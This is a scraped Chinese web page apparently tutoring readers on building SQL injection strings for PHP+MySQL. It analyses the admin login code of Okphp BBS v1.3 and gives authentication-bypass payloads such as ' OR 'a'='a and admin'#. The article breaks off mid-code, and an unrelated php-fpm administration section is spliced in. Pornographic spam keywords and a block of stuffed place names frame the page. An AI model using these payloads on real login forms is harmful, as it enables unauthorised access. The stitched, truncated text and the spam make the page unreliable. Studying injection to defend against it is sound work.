奶头挺立呻吟高潮av全片,成人试看120秒体验区,性欧美极品v,A片高潮抽搐揉捏奶头视频

php語言

php+mysql注射語句構造

時間:2024-07-24 10:06:57 php語言 我要投稿
  • 相關推薦

php+mysql注射語句構造

  語句構造好壞直接影響了編程的質量,下面是百分網小編精心為大家整理的php+mysql注射語句構造,希望對大家有幫助,更多內容請關注應屆畢業生網!

  一.前言:

  版本信息:Okphp BBS v1.3 開源版

  下載地址:http://www.cncode.com/SoftView.asp?SoftID=1800

  由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的構造方面更是個難點,本文主要是借對Okphp BBS v1.3一些文件得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點幫助。

  聲明:文章所有提到的“漏洞”,都沒有經過測試,可能根本不存在,其實有沒有漏洞并不重要,重要的是分析思路和語句構造。

  二.“漏洞”分析:

  1.admin/login.php注射導致繞過身份驗證漏洞:

  代碼:

  $conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

  $password = md5($password);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'";

  $res = sql_query($q,$conn);

  $row = sql_fetch_row($res);

  $q = "select id,group_id from $user_table where username='$username' and password='$password'"中

  $username 和 $password 沒過濾, 很容易就繞過。

  對于select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:

  構造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a

  相當于sql語句:

  select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

  構造2(利用mysql里的注釋語句# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

  即:

  select * from $user_table where username='admin'#' and password='$password'"

  相當于:

  select * from $user_table where username='admin'

  在admin/login.php中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這里我們用構造2:

  select id,group_id from $user_table where username='admin'#' and password='$password'"

  相當于:

  select id,group_id from $user_table where username='admin'

  只要存在用戶名為admin的就成立,如果不知道用戶名,只知道對應的id,

  我們就可以這樣構造:$username=' OR id=1#

  相當于:

  select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注釋掉)

  我們接著往下看代碼:

  if ($row[0]) {

  // If not admin or super moderator

  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

  $login = 0;

  }

  else {

  $login = 1;

  }

  }

  // Fail to login---------------

  if (!$login) {

  write_log("Moderator login","0","password wrong");

  echo "

  2.php 5.4中php-fpm 的重啟、終止操作命令:

  查看php運行目錄命令:which php

  /usr/bin/php

  查看php-fpm進程數:

  ps aux | grep -c php-fpm

  查看運行內存

  /usr/bin/php -i|grep mem

  重啟php-fpm

  /etc/init.d/php-fpm restart

  在phpinfo()輸出內容可以看到php相關配置。

  Loaded Configuration File /etc/php.ini

  ==============================

  首先要找到php-fpm.conf配置文件,查看pid的配置路徑(不是安裝路徑),然后把下面對應的地方改掉才能正常執行。

  [root@DO-SG-H1 ~]# ps aux | grep php-fpm

  root 11799 0.0 0.0 103248 880 pts/0 S+ 13:51 0:00 grep --color php-fpm

  root 11973 0.0 0.0 417748 964 ? Ss Jun01 0:20 php-fpm: master process (/etc/php-fpm.conf)

  cat /etc/php-fpm.conf

  看到

  pid = /var/run/php-fpm/php-fpm.pid

  php-fpm 啟動:

  /usr/local/php/sbin/php-fpm

  php-fpm 關閉:

  kill -INT `cat /var/run/php-fpm/php-fpm.pid`

  php-fpm 重啟:

  kill -USR2 `cat /var/run/php-fpm/php-fpm.pid`

  查看php-fpm進程數:

  ps aux | grep -c php-fpm

  =============================

  [root@DO-SG-H1 ~]# find / -name 'php-fpm' -type d

  /var/log/php-fpm

  /var/run/php-fpm

  用這個find命令查找出來的路徑是不對的

  which php

  /usr/bin/php

【php+mysql注射語句構造】相關文章:

java如何構造12-11

PHP類與構造函數12-11

皮膚的構造及功能教案09-11

護士資格考試:皮內注射和皮下注射的區別12-13

java構造函數調用技巧03-27

利用php+mysql來做一個功能強大的在線計算器11-17

英語閱讀美文欣賞夢想構造生活03-29

java構造函數實現代碼示例04-03

Think in Java之構造器的真正調用順12-01

主站蜘蛛池模板: 甘孜| 东乡县| 综艺| 华坪县| 通海县| 东至县| 余庆县| 玛多县| 历史| 河北区| 盘山县| 广饶县| 沅陵县| 景宁| 澳门| 怀来县| 上栗县| 泉州市| 揭阳市| 广州市| 三台县| 勐海县| 荔波县| 甘肃省| 商丘市| 武城县| 惠安县| 东丽区| 宣威市| 宁陵县| 辉南县| 兴隆县| 广汉市| 衡东县| 长岛县| 嘉义县| 墨脱县| 荣昌县| 莱州市| 买车| 鹤山市|